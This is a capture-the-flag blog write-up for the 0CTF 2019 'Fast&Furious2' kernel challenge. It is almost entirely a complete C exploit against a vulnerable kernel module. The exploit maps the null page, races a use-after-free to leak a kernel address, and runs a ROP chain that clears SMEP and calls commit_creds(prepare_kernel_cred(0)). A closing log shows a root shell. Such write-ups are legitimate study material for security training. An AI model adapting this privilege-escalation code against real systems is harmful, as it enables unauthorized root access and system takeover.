0CTF 2019 - Fast&Furious2

CTF/2019 2019. 7. 21. 15:56

Fast&Furious

Category : pwnable
Summary : kernel module, use-after-free, null page dereference, memory leak, race condition

Exploit

#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>



void *ptr;

uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rflags;
uint64_t user_stack;

int32_t m_flag = 1;

int allocate_null_page(void) {
  void *map = mmap((void*)0x10000, 0x1000, PROT_READ|PROT_WRITE,
                   MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
  if (map == MAP_FAILED) err(1, "mmap");
  int fd = open("/proc/self/mem", O_RDWR);
  if (fd == -1) err(1, "open");
  unsigned long addr = (unsigned long)map;
  while (addr != 0) {
    addr -= 0x1000;
    if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
    char cmd[1000];
    sprintf(cmd, "LD_DEBUG=help busybox 1>&%d", fd);
    system(cmd);
  }
}

void save_state(){
        asm volatile(
                "movq %%cs, %0\n"
                "movq %%ss, %1\n"
                "movq %%rsp, %2\n"
                "pushfq\n"
                "popq %3\n"
                : "=r" (user_cs), "=r" (user_ss), "=r" (user_stack), "=r" (user_rflags) :: "memory"
        );
}

void shell(){
    execl("/bin/sh", "sh", 0);
}

#define FIRST_NOTE     176

#define PWN_WRITE    6
#define PWN_READ    66
#define PWN_EDIT    666
#define PWN_DELETE    6666

struct node{
    char *data;
    uint64_t size;
};

struct obj{
    uint64_t count;
    struct node n[16];
    int idx;
};

void *usleep_mmap(void *addr){
    m_flag = 1;
    while(m_flag){
        mmap(*(uint64_t *)addr, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
        usleep(5);
        munmap(*(uint64_t *)addr, 0x1000);
        usleep(5);
    }
}

int is_null(char *ptr, size_t size){
  int i;
  for(i=0;i<size;i++) if(ptr[i] != '\x00') return 0;
  return 1;
}

int is_leaked(char *ptr, size_t size){
  int i;
  for(i=0;i<size-3;i++) if(*(uint32_t *)(ptr+i) == 0xffffffff) return 1;
  return 0;
}

int main()
{

    uint8_t pay[0x1000], leak_buf[FIRST_NOTE], tmp[0x100000];
    uint64_t *null_page = 0, *rop, *rop2, *rop_base, *rop2_base, *ghost_mem;
    uint64_t kernel_leak, gg_pivot_stack, gg_commit_creds, gg_prepare_kernel_cred, gg_mov_cr4, gg_mov_cr0, gg_pop_rdi, gg_pop_rcx, gg_mov_rdi_rax, gg_swapgs, gg_iretq, gg_mov_cr3_rax, gg_mov_rax_cr3, gg_pop_rsi, gg_xor_rsi;
    struct obj o;
    int64_t fd, status, i, cnt = 0;
    pthread_t thread_t;

    allocate_null_page();
    printf("[+] null page allocated\n");

    fd = open("/dev/pwn", 0);

    while(cnt < 16 && !is_leaked((uint64_t)leak_buf, FIRST_NOTE-1)){
        memset(pay, 'A', sizeof(pay));
        memset(leak_buf, 0, sizeof(leak_buf));

        o.count = 1;
        o.n[0].data = pay;
        o.n[0].size = FIRST_NOTE;
        ioctl(fd, PWN_WRITE, &o);

        ghost_mem = 0xcafe0000;

        o.count = 3;
        o.n[0].data = pay;
        o.n[0].size = FIRST_NOTE-1;
        o.n[1].data = ghost_mem;
        o.n[1].size = 1;
        o.n[2].data = leak_buf;
        o.n[2].size = FIRST_NOTE-1;
        o.idx = cnt;

        pthread_create(&thread_t, NULL, usleep_mmap, (void *)&ghost_mem);
        do{
            ioctl(fd, PWN_READ, &o);
        }while(is_null((uint64_t)leak_buf, FIRST_NOTE-1));

        m_flag = 0;
        pthread_join(thread_t, (void **)&status);

        cnt += 1;
    }

    kernel_leak = *(uint64_t *)(leak_buf + 0x30);

    if(cnt == 16 || (kernel_leak & 0xffff) != 0xa6b0){
        puts("[-] kernel addr leak failed :(");
        exit(-1);
    }

    printf("[+] kernel addr leak : %p\n", kernel_leak);

    save_state();

    rop = pay + 8;

    rop2_base = calloc(0x1000, 1);
    rop2 = (uint64_t)rop2_base + 8;

    kernel_leak -= 0x41a710;

    gg_pivot_stack = kernel_leak + 0x31bcaf;
    gg_prepare_kernel_cred = kernel_leak - 0x1b61f0;
    gg_commit_creds = kernel_leak - 0x1b65a0;
    gg_pop_rdi = kernel_leak + 0x1ebd62; //
    gg_mov_cr0 = kernel_leak - 0x1ff7fc;
    gg_mov_cr4 = kernel_leak - 0x24fb20; //
    gg_pop_rcx = kernel_leak - 0x8410d; //
    gg_mov_rdi_rax = kernel_leak - 0x2415b1;
    gg_swapgs = kernel_leak - 0x1ff70c;
    gg_iretq = kernel_leak - 0x2393a5;
    gg_mov_cr3_rax = gg_mov_cr4 + 0xbe0d09;
    gg_mov_rax_cr3 = gg_mov_cr4 + 0x50354;
    gg_pop_rsi = gg_mov_cr4 + 0xedde1;
    gg_xor_rsi = gg_mov_cr4 + 0x9c7f23;

    *rop++ = gg_pop_rdi;
    *rop++ = 0x6f0;
    *rop++ = gg_mov_cr4;
    *rop++ = 0;
    *rop++ = gg_pop_rdi;
    *rop++ = 0;

    *rop++ = gg_prepare_kernel_cred;
    *rop++ = gg_pop_rcx;
    *rop++ = 0;
    *rop++ = gg_mov_rdi_rax;
    *rop++ = 0;
    *rop++ = gg_commit_creds;

    *rop++ = gg_swapgs;
    *rop++ = 0;
    *rop++ = gg_mov_rax_cr3;
    *rop++ = 0;
    *rop++ = gg_pop_rsi;
    *rop++ = (1 << 12);
    *rop++ = gg_xor_rsi;


    *rop++ = gg_pop_rdi;
    *rop++ = rop2_base;

    *rop++ = gg_pivot_stack;

    *rop++ = gg_mov_cr3_rax;
    *rop++ = gg_iretq;
    *rop++ = shell; // rip
    *rop++ = user_cs; // cs
    *rop++ = user_rflags; // rflags
    *rop++ = tmp + 0x4000; //user_stack; //sp
    *rop++ = user_ss; //ss

    *rop2++ = gg_mov_cr3_rax;
    *rop2++ = gg_iretq;
    *rop2++ = shell; // rip
    *rop2++ = user_cs; // cs
    *rop2++ = user_rflags; // rflags
    *rop2++ = tmp + 0x4000; //user_stack; //sp
    *rop2++ = user_ss; //

    /* remove note 0 */
    o.count = 0;
    ioctl(fd, PWN_DELETE, &o);

    /* note 0 */
    o.count = 1;
    o.n[0].data = pay;
    o.n[0].size = 0x1f0;

    ioctl(fd, PWN_WRITE, &o);

       /* note 0 */
    o.count = 1;
    o.n[0].data = 0xdeadbeef;
    o.n[0].size = 0x1f0;
    o.idx = 0;

    ioctl(fd, PWN_EDIT, &o);

       /* note 0 */
    o.count = 1;
    o.n[0].data = pay;
    o.n[0].size = 0x1f0;
    o.idx = 0;

    ioctl(fd, PWN_EDIT, &o);


    *null_page = gg_pivot_stack;

    /* escalate */
    o.count = 0;
    ioctl(fd, PWN_DELETE, &o);

    close(fd);
}

Result

$ ./startvm.sh
  ___   ____ _____ _____ _______ ____ _____ _____   ____   ___  _  ___
 / _ \ / ___|_   _|  ___/ /_   _/ ___|_   _|  ___| |___ \ / _ \/ |/ _ \
| | | | |     | | | |_ / /  | || |     | | | |_      __) | | | | | (_) |
| |_| | |___  | | |  _/ /   | || |___  | | |  _|    / __/| |_| | |\__, |
 \___/ \____| |_| |_|/_/    |_| \____| |_| |_|     |_____|\___/|_|  /_/

~ $ /exploit
[+] null page allocated
[+] kernel addr leak : 0xffffffffa368a6b0
/home/pwn # id
uid=0(root) gid=0

'CTF > 2019' 카테고리의 다른 글

0CTF 2019 - Fast&Furious  (0) 2019.07.21
0CTF 2019 - Fast&Furious2  (0) 2019.07.21
CODEGATE 2019 QUAL - cg_casino  (1) 2019.01.31
CODEGATE 2019 QUAL - Maris_shop  (0) 2019.01.31
CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29

WRITTEN BY
pwn3r_45

트랙백  0 , 댓글  0개가 달렸습니다.
secret